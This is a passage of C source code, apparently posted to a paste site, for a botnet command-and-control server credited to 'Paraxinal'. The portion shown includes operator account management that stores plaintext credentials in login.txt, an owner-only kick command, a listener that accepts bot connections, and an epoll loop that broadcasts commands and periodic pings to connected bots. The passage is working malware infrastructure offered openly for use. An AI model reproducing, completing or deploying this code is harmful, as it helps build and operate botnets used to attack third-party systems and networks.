  648.                     memset(new_password, 0, sizeof(new_password));
  649.                     sprintf(auresp, "\x1b[39mEnter new unsername\x1b[35m: \x1b[37m");
  650.                     if(send(datafd, auresp, strlen(auresp), MSG_NOSIGNAL) == -1) goto end;
  651.                     memset(auresp, 0, sizeof(auresp));
  652.                     while(fdgets(new_username, sizeof(new_username), datafd) > 0)
  653.                         break;
  654.                     trim(new_username);
  655.                     int ok;
  656.                     for(ok=0; ok < MAXFDS; ok++)
  657.                     {
  658.                         if(!strcmp(accounts[ok].username, new_username))
  659.                         {
  660.                             snprintf(auresp, sizeof(auresp), "\x1b[31mSorry\x1b[32m,\x1b[31mThe username (\x1b[33m%s\x1b[31m) is taken already\x1b[37m...\r\n", new_username);
  661.                             if(send(datafd, auresp, strlen(auresp), MSG_NOSIGNAL) == -1) goto end;
  662.                             memset(new_username, 0, sizeof(new_username));
  663.                             goto reuser;
  664.                         }
  665.                     }
  666.                     memset(auresp, 0, sizeof(auresp));
  667.                     sprintf(auresp, "\x1b[39mEnter new password\x1b[35m: \x1b[37m");
  668.                     if(send(datafd, auresp, strlen(auresp), MSG_NOSIGNAL) == -1) goto end;
  669.                     memset(auresp, 0, sizeof(auresp));
  670.                     while(fdgets(new_password, sizeof(new_password), datafd) > 0)
  671.                         break;
  672.                     trim(new_password);;
  673.                     FILE *auf = fopen("login.txt", "a");
  674.                     fprintf(auf, "%s %s\n", new_username, new_password);
  675.                     fclose(auf);
  676.                     snprintf(auresp, sizeof(auresp), "\x1b[39mAccount \x1b[33m%s\x1b[39m added\x1b[32m!\x1b[37m\r\n", new_username);
  677.                     if(send(datafd, auresp, strlen(auresp), MSG_NOSIGNAL) == -1) goto end;
  678.                     memset(auresp, 0, sizeof(auresp));
  679.                     memset(new_username, 0, sizeof(new_username));
  680.                     memset(new_password, 0, sizeof(new_password));
  681.                 }
  682.                 else
  683.                 {
  684.                     char failed_msg[150];
  685.                     snprintf(failed_msg, sizeof(failed_msg), "Sorry %s, only the owner can use this function...\r\n", managements[datafd].username);
  686.                     if(send(datafd, failed_msg, strlen(failed_msg), MSG_NOSIGNAL) == -1) return;
  687.                     memset(failed_msg, 0, sizeof(failed_msg));
  688.                 }
  689.             }
  690.             else if(strstr(buf, "kick "))
  691.             {
  692.                 if(!strcmp(managements[datafd].username, "Freak")) // this means the function will only work for the username root
  693.                 {
  694.                     trim(buf);
  695.                     char *nick = buf+5;
  696.                     int x;
  697.                     for(x=0; x < MAXFDS; x++)
  698.                     {
  699.                         if(!strcmp(managements[x].username, nick))
  700.                         {
  701.                             char kick_msg[200];
  702.                             char kick_msg2[200];
  703.                             snprintf(kick_msg, sizeof(kick_msg), "\r\n\x1b[37m%s\x1b[37m you have been kicked by \x1b[37m%s\x1b[37m, Goodbye.\x1b[95m\r\n", managements[x].username, managements[datafd].username);
  704.                             snprintf(kick_msg2, sizeof(kick_msg2), "\x1b[37mYou kicked \x1b[37m%s\x1b[37m...\r\n", managements[x].username);
  705.                             if(send(datafd, kick_msg2, strlen(kick_msg2), MSG_NOSIGNAL) == -1) return;
  706.                             if(send(x, kick_msg, strlen(kick_msg), MSG_NOSIGNAL) == -1) return;
  707.                             managements[x].connected = 0;
  708.                             close(x);
  709.                             memset(managements[x].username, 0, sizeof(managements[x].username));
  710.                             memset(kick_msg, 0, sizeof(kick_msg));
  711.                             memset(kick_msg2, 0, sizeof(kick_msg2));
  712.                         }
  713.                     }
  714.                 }
  715.                 else
  716.                 {
  717.                     char failed_msg[150];
  718.                     snprintf(failed_msg, sizeof(failed_msg), "Sorry %s, only the owner can use this function...\r\n", managements[datafd].username);
  719.                     if(send(datafd, failed_msg, strlen(failed_msg), MSG_NOSIGNAL) == -1) return;
  720.                     memset(failed_msg, 0, sizeof(failed_msg));
  721.                 }
  722.                 memset(buf, 0, sizeof(buf));
  723.             }
  724.             else if(strstr(buf, "CLEARSCREEN") || strstr(buf, "CLEAR") || strstr(buf, "clear") || strstr(buf, "cls")) {
  725.                 char clearscreen [2048];
  726.                 memset(clearscreen, 0, 2048);
  727.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  728.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  729.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  730.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  731.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  732.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  733.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  734.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  735.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  736.                 if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  737.                 if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  738.             }
  739.             if(strstr(buf, "log")) {
  740.                 char logoutmessage [2048];
  741.                 memset(logoutmessage, 0, 2048);
  742.                 sprintf(logoutmessage, "Redirecting..., %s", accounts[find_line].username);
  743.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  744.                 sleep(5);
  745.                 goto end;
  746.             }
  747.                 trim(buf);
  748.                 if(send(datafd, managements[datafd].userprompt, strlen(managements[datafd].userprompt), MSG_NOSIGNAL) == -1) goto end;
  749.                 broadcast(buf, datafd, managements[datafd].username);
  750.                 printf("%s: \"%s\"\n", managements[datafd].username, buf);
  751.  
  752.                 FILE *LogFile;
  753.                 LogFile = fopen("server_log.txt", "a");
  754.                 time_t now;
  755.                 struct tm *gmt;
  756.                 char formatted_gmt [50];
  757.                 char lcltime[50];
  758.                 now = time(NULL);
  759.                 gmt = gmtime(&now);
  760.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  761.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, managements[datafd].username, buf);
  762.                 fclose(LogFile);
  763.                 memset(buf, 0, sizeof(buf));
  764.         }
  765.         end:
  766.             managements[datafd].connected = 0;
  767.             close(datafd);
  768.             OperatorsConnected--;
  769.             memset(managements[datafd].username, 0, sizeof(managements[datafd].username));
  770.             memset(buf, 0, sizeof(buf));
  771. }
  772. void *BotListener(int port) {
  773.     int sockfd, newsockfd;
  774.     socklen_t clilen;
  775.     struct sockaddr_in serv_addr, cli_addr;
  776.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  777.     if (sockfd < 0) perror("ERROR opening socket");
  778.     bzero((char *) &serv_addr, sizeof(serv_addr));
  779.     serv_addr.sin_family = AF_INET;
  780.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  781.     serv_addr.sin_port = htons(port);
  782.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  783.     listen(sockfd,5);
  784.     clilen = sizeof(cli_addr);
  785.     while(1) {
  786.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  787.         if (newsockfd < 0) perror("ERROR on accept");
  788.         pthread_t thread;
  789.         struct kekl args;
  790.         args.sock = newsockfd;
  791.         args.ip = ((struct sockaddr_in *)&cli_addr)->sin_addr.s_addr;
  792.         pthread_create( &thread, NULL, &BotWorker, (void *)&args);
  793. }}
  794. int main (int argc, char *argv[], void *sock) {
  795.         signal(SIGPIPE, SIG_IGN);
  796.         int s, threads, port;
  797.         struct epoll_event event;
  798.         if (argc != 4) {
  799.             fprintf (stderr, "Usage: %s [Bot-Port] [Threads] [Cnc-Port]\n", argv[0]);
  800.             exit (EXIT_FAILURE);
  801.         }
  802.         port = atoi(argv[3]);
  803.         printf("Botnet Screened!\n");
  804.         printf("\e[31mCreated by Paraxinal\x1b[1;37m\n");
  805.         telFD = fopen("telnet.txt", "a+");
  806.         threads = atoi(argv[2]);
  807.         listenFD = create_and_bind (argv[1]);
  808.         if (listenFD == -1) abort ();
  809.         s = make_socket_non_blocking (listenFD);
  810.         if (s == -1) abort ();
  811.         s = listen (listenFD, SOMAXCONN);
  812.         if (s == -1) {
  813.             perror ("listen");
  814.             abort ();
  815.         }
  816.         epollFD = epoll_create1 (0);
  817.         if (epollFD == -1) {
  818.             perror ("epoll_create");
  819.             abort ();
  820.         }
  821.         event.data.fd = listenFD;
  822.         event.events = EPOLLIN | EPOLLET;
  823.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  824.         if (s == -1) {
  825.             perror ("epoll_ctl");
  826.             abort ();
  827.         }
  828.         pthread_t thread[threads + 2];
  829.         while(threads--) {
  830.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  831.         }
  832.         pthread_create(&thread[0], NULL, &BotListener, port);
  833.         while(1) {
  834.             broadcast("PING", -1, "ZERO");
  835.             sleep(60);
  836.         }
  837.         close (listenFD);
  838.         return EXIT_SUCCESS;
  839. }
Add Comment
Please, Sign In to add comment